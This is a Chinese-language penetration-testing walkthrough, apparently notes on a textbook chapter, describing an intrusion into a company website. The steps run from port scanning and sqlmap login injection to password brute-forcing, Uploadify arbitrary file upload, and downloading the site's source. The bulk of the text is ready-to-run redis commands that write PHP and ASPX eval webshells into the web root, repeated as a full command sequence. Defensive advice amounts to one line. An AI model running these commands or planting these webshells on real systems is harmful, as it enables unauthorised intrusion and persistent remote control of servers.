6.6 SQL注入及redis漏洞渗透某公司站点
6.6.1 信息搜集
1. 域名信息收集
(1) nslookup查询
这个命令可以查询dns解析记录,如果有cdn的话这里查询的IP会在变化,并且一般的情况下会有cdn等关键字,或者是比较长的别名记录
(2) toolbar.netcraft.com查询
作者给的是上面这个域名,但是官方已经更换域名了,访问会跳转,我测试的地址可用,现在的地址是
https://searchdns.netcraft.com/
2. 获取真实的IP地址
(1) Masscan安装
(2) 使用Masscan扫描目标站点所有端口地址
masscan -p 1-65535 xxx.xxx.xx.xx
3. 获取物理路径信息
这里是作者是使用报错的形式获取绝对路径,实际情景大家可以根据实际情况测试,具体有哪些思路,前面章节也讲过
6.6.2 SQL注入
1. 主站登录框注入
使用Burpsuite抓包登录窗口请求包,保存请求文件使用-r参数通过sqlmap进行注入测试
2. 获取后台密码
通过暴力破解的方式获取后台账户和密码
3. 使用Uploadify存在任意上传漏洞
这里是作者找到了站点使用了Uploadify组件,这个组件可以任意文件上传,作者使用的时候构造上传文件的html文件,将action的地址改成真实的目标地址,具体地址在实际常见中去查找并更改即可,成功上传具备上传功能的html页面,然后访问这个页面,直接上传shell即可
4. 获取webshell
上述如果没有问题的话,那么是可以直接上传webshell
6.6.3 后台密码加密分析
1. 打包并下载网站源码
这里还是使用rar命令进行打包然后下载,前面章节也讲到过,具体命令如下:
rar a -k -r -r -ml E:wwwmfx.rar E:www
2. 密码加密函数分析
3. btnLogin_Click登录检查中存在逻辑后门
上述两点,作者是分析代码挖掘出来了逻辑后门,这个真得看大家的实力和代码功底了,这方面的能力我也比较弱,大家仔细查询代码审计相关资料
6.6.4 redis漏洞利用获取webshell
1. redis账号获取webshell
获取网站的真实路径,具体步骤如下:
(1) 连接客户端和端口
telnet xx.xx.xx.xx 3309
(2) 认证
auth 324155343
(3) 查看当前的配置信息,并复制下来留待后续恢复
config get dir
config get dbfilename
(4) 配置并写入webshell
config set dir D:/www/bmfx
config set dbfilename redis.aspx
set webshell "<?php phpinfo(); ?>"
set webshell "<?php @eval($_POST['bmfx']); ?>"
// 这里是phpwebshell
set webshell "<%eval (Request.Item['bmfx'], "unsafe");%>"
// 这里是asp的webshell,双引号要使用反斜线转义
save
get a
(5) 访问webshell地址
(6) 恢复原始设置
config get dir
config get dbfilename
flushdb
2. 获取shell的完整命令
telnet xxx.xxx.xx.xx 3309
auth 324155343
config get dir
config get dbfilename
config set dir E:/www/bmfx
config set dbfilename redisbmfx.aspx
set webshell "<?php phpinfo(); ?>"
set webshell "<?php @eval($_POST['bmfx']); ?>"
set webshell "<%@ Page Language="Jscript"%><%eval (Request.Item['bmfx'], "unsafe");%>"
save
get a
config set dir
config set dbfilename
flushdb
通过上述操作完成之后,不出意外的话,会获取webshell,这里作者在自己的博客上有发表过关于redis漏洞利用总结,具体地址如下:
https://blog.51cto.com/simeon/2115184
6.6.5 渗透总结与防御
(1) Burpsuite抓包,对包文件使用sqlmap的-r参数进行读文件注入测试
(2) 后台账号的暴力破解,使用的是Burpsuite对账号进行暴力破解
(3) uploadify任意文件上传
(4) 后台加密文件密码算法及密码破解分析
(5) redis漏洞获取webshel方法
(6) Masscan和Nmap进行全端口扫描
(7) SQL注入攻击,这里的操作,前面章节讲了很多,这里略过
(8) redis账号密码需要设置口令